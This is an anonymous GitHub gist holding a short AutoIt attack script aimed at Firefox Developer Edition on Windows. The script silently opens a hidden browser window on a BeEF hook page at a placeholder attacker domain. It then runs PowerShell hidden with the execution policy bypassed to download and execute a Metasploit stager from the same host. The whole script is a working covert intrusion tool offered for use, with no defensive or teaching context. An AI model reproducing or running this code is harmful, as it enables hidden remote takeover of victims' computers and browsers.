Created
May 10, 2017 13:10
-
-
Save anonymous/09f10cdb5d9b0bae4755850273083fd2 to your computer and use it in GitHub Desktop.
AutoIt script: Targets Firefox Developer Edition. Change the $path and WinWait title accordingly....
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$path = "C:\Program Files (x86)\Firefox Developer Edition\" | |
$path1 = "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\" | |
ShellExecute($path & "firefox.exe", "https://attacker.domain/beef.html", "", "", @SW_HIDE) | |
WinWait("[TITLE:Firefox Developer Edition]") | |
WinSetState ("[LAST]", "", @SW_HIDE) | |
ShellExecute($path1 & "powershell.exe", "-ep Bypass -W Hidden -c """"(new-object Net.WebClient).DownloadString('https://attacker.domain/metasploit_stager.ps1') | iex""""", "", "", @SW_HIDE) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment